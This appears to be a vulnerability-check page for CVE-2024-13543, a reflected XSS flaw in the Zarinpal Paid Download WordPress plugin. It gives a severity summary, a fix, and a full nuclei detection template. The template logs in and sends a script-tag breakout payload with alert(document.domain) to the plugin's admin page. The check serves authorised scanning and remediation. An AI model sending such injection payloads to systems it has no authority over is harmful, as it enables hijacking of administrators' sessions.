Zarinpal Paid Download - Reflected XSS

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

Zarinpal Paid Download WordPress plugin v2.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires attacker to craft a malicious link.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the vulnerability is fixed or implement proper sanitization and escaping measures.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=paid-downloads-add&ty=1"></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`","zarinpal-paid-download")

Run it with nuclei: nuclei -id CVE-2024-13543 -u <target>

The full check

id: CVE-2024-13543

info:
  name: Zarinpal Paid Download - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    Zarinpal Paid Download WordPress plugin v2.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/04a545c4-75d3-4672-8530-00bb879991ca/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13543
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13543
    cwe-id: CWE-79
    epss-score: 0.00587
    epss-percentile: 0.48403
    cpe: cpe:2.3:a:amini7:zarinpal_paid_download:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: amini7
    product: zarinpal_paid_download
  tags: cve,cve2024,amini7,zarinpal-paid-download,wordpress,wp,wp-plugin,authenticated,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=paid-downloads-add&ty=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`","zarinpal-paid-download")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from